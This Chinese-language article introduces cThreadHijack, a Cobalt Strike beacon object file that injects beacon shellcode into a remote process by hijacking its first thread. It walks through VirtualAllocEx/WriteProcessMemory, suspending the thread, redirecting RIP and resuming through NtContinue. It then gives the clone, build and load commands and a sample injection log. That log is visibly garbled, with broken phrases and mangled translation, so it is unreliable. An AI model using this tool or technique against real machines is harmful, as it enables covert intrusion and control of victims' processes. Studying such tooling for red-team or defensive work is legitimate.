关于cThreadHijackcThreadHijack是一个用于远程进程注入的beaconobjectfile(BOF)。该工具主要通过线程劫持技术实现其功能,不产生任何远程线程。运行机制cThreadHijack可以根据用户提供的监听器参数生成原始beaconShellcode,并根据用户提供的PID参数注入到远程进程中。这一步主要用到了VirtualAllocEx和WriteProcessMemory方法。接下来,cThreadHijack并没有通过CreateRemoteThread或其他API生成新的远程线程,而是识别目标进程中的第一个线程。目标线程挂起后,会通过一个CONTEXT结构Content获取线程CPU状态。接下来,它修改CONTEXT结构中RIP寄存器成员的地址,并将其指向远程负载。cThreadHijack在执行前会在CreateThread的一个调用方法中添加一段封装beaconShellcode的程序。CreateThread例程封装在一个名为NtContinue的函数调用程序中,它允许先前被劫持的线程在不导致远程进程崩溃的情况下恢复。cThreadHijack的beaconPayload会生成一个“线程退出函数”,让进程在beacon退出后继续执行。信标侦听器名称如果包含空格,则必须用引号引起来。工具下载广大研究者可以使用如下命令将项目源码克隆到本地:gitclonehttps://github.com/connormcgarr/cThreadHijack.git项目构建首先,在Windows虚拟机上,点击Win键并输入“x64NativeTools”打开“x64NativeToolsVS命令提示符”对话框。接下来,将目录更改为“C:\path\to\cThreadHijack”。然后运行如下命令:nmake-fMakefile.msvcbuild最后,通过CobaltStrike的“ScriptConsole”和参数“load/path/to/cThreadHijack.cna”加载cThreadHijack.cna。cthreadhijackpidlistener_name:beacon>cthreadhijack7340testing[+]hostcalledhome,发送:268433333333bytes[+]rectoryOutput:[+]targetPID:7340retertprocespid:7340[+]opentopentinterput+]+]+]+]+]+]+]线程ID:10212[+]收到输出:[+]挂起目标线程...[+]收到输出:[+]WroteBeaconshellcodetotheremoteprocess![+]收到输出:[+]VirtualmemoryforCreateThreadandNtContinueroutinesallocatedat0x201f4ab0000insideoftheremoteprocess![+]收到输出:[+]Continuize4SizeofNinet结构:[+]ContinuizeoutofNinet:1232bytes[+]Sizeofstackalignmentroutine:4[+]SizeofCreateThreadroutine:64[+]Sizeofshellcode:261632bytes[+]receivedoutput:[+]Wrotepayloadtobuffertopreviouslyallocatedbufferinsideof![+]receivedoutput:[+]CurrentRIP:0x7ffa55dfpointed69a4[+]receivedoutputcess:的RIP注册到shellcode![+]收到输出:[+]当前RIP:0x201f4ab0000[+]收到输出:[+]恢复线程!PleasewaitafewmomentsfortheBeaconpayloadtoexecute...项目地址cThreadHijack:[GitHubPortal]
